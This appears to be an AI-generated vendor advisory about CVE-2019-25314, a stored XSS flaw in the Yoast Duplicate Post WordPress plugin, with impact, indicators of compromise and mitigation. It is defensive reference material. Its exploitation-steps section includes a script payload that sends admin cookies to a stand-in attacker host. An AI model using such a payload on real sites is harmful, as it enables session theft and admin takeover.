CVE-2019-25314
WordPress vulnerability analysis and mitigation

Overview

CVE-2019-25314 is a persistent (stored) cross-site scripting (XSS) vulnerability in the Yoast Duplicate Post WordPress plugin version 3.2.3. It allows authenticated attackers with high privileges to inject malicious JavaScript into plugin settings fields — specifically the title prefix, suffix, menu order, and blacklist fields — which then executes in the admin interface for any user who views those settings. The vulnerability was published on February 11, 2026, and carries a CVSS v3.1 base score of 5.5 (Medium) (Feedly, Vulners).

Technical details

The root cause is improper neutralization of user-supplied input during web page generation (CWE-79), where the plugin fails to sanitize or encode data entered into settings fields before storing and rendering it in the WordPress admin interface. An attacker with administrator-level access can submit crafted payloads (e.g., <script>alert(1)</script>) into the title prefix, suffix, menu order, or blacklist configuration fields. Because the input is stored in the database and reflected back without escaping, any admin user who subsequently loads the settings page will trigger execution of the injected script. No public proof-of-concept code has been identified beyond the technical write-up published by Infinit Security (Infinit Security).

Impact

Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of the WordPress admin interface, potentially affecting all administrator users who visit the compromised settings page. This can lead to session token theft, credential harvesting, unauthorized administrative actions (such as creating rogue admin accounts or installing malicious plugins), and limited confidentiality and integrity impacts on the affected WordPress installation. Availability is not directly impacted (Feedly).

Exploitability

Exploitation requires high-privilege (administrator-level) authenticated access to the WordPress admin panel, significantly limiting the attack surface. The EPSS score is 0.03%, indicating a very low probability of active exploitation in the wild. No evidence of in-the-wild exploitation, threat actor attribution, exploit kit inclusion, or CISA KEV catalog listing has been identified for this CVE (Feedly, Vulners).

Exploitation steps

  1. Authenticate: Log in to the WordPress admin panel with an account that has administrator privileges and access to the Duplicate Post plugin settings.
  2. Navigate to plugin settings: Go to Settings → Duplicate Post in the WordPress admin dashboard.
  3. Inject payload: Enter a malicious JavaScript payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) into one of the vulnerable fields: title prefix, title suffix, menu order, or blacklist.
  4. Save settings: Submit the form to store the payload in the WordPress database.
  5. Trigger execution: When any administrator visits the Duplicate Post settings page, the stored payload executes in their browser, potentially stealing session cookies or performing actions on their behalf (Infinit Security).

Indicators of compromise

  • Logs: WordPress admin access logs showing POST requests to the Duplicate Post settings page (/wp-admin/options-general.php?page=duplicatepost) containing script tags or encoded JavaScript in form parameters.
  • Database: Unexpected <script> tags or JavaScript URIs stored in the wp_options table under Duplicate Post plugin option keys (e.g., duplicate_post_title_prefix, duplicate_post_title_suffix, duplicate_post_blacklist).
  • Network: Outbound requests from admin browsers to unknown external domains shortly after loading the Duplicate Post settings page, potentially indicating cookie exfiltration.

Mitigation and workarounds

Users should upgrade the Yoast Duplicate Post plugin to a version newer than 3.2.3, which contains the fix for this vulnerability. As a workaround, restrict access to the WordPress admin panel to trusted IP addresses and enforce the principle of least privilege by limiting the number of administrator accounts. Regularly audit plugin settings for unexpected or suspicious content (Sucuri Blog).

Community reactions

Sucuri included CVE-2019-25314 in their February 2026 vulnerability patch roundup, noting it as part of a broader set of WordPress plugin vulnerabilities requiring attention (Sucuri Blog). Infinit Security published a dedicated technical write-up detailing the affected fields and exploitation mechanics (Infinit Security). No significant broader community or social media discussion has been identified.

Additional resources


SourceThis report was generated using AI

Related WordPress vulnerabilities:

CVE ID

Severity

Score

Technologies

Component name

CISA KEV exploit

Has fix

Published date

CVE-2026-16955NONEN/A
  • ai-engine
NoYesAug 08, 2026
CVE-2026-16953NONEN/A
  • ai-engine
NoYesAug 08, 2026
CVE-2026-16948NONEN/A
  • solace-extra
NoYesAug 08, 2026
CVE-2026-16608NONEN/A
  • download-monitor
NoYesAug 08, 2026
CVE-2026-16595NONEN/A
  • wpdirectorykit
NoYesAug 08, 2026

Free Vulnerability Assessment

Benchmark your Cloud Security Posture

Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.

Request assessment

Get a personalized demo

Ready to see Wiz in action?

"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management